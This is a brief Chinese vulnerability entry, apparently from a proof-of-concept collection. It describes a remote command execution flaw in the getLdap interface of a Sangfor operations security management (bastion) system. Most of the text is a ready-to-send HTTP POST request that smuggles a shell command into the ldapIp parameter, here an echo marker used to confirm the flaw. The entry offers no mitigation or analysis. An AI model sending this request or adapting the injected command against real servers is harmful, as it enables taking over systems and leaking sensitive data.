该漏洞是运维安全管理系统 getLdap 接口存在远程命令执行漏洞，攻击者可通过构造恶意请求，在目标服务器上执行任意命令，导致服务器被控制和敏感数据泄露，危害极大。 POST /fort/user;help/getLdap HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded Content-Length: 29 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Accept-Encoding: gzip Connection: close ldapIp=;echo 72D27b0f1cFFDA5f

深信服运维安全管理系统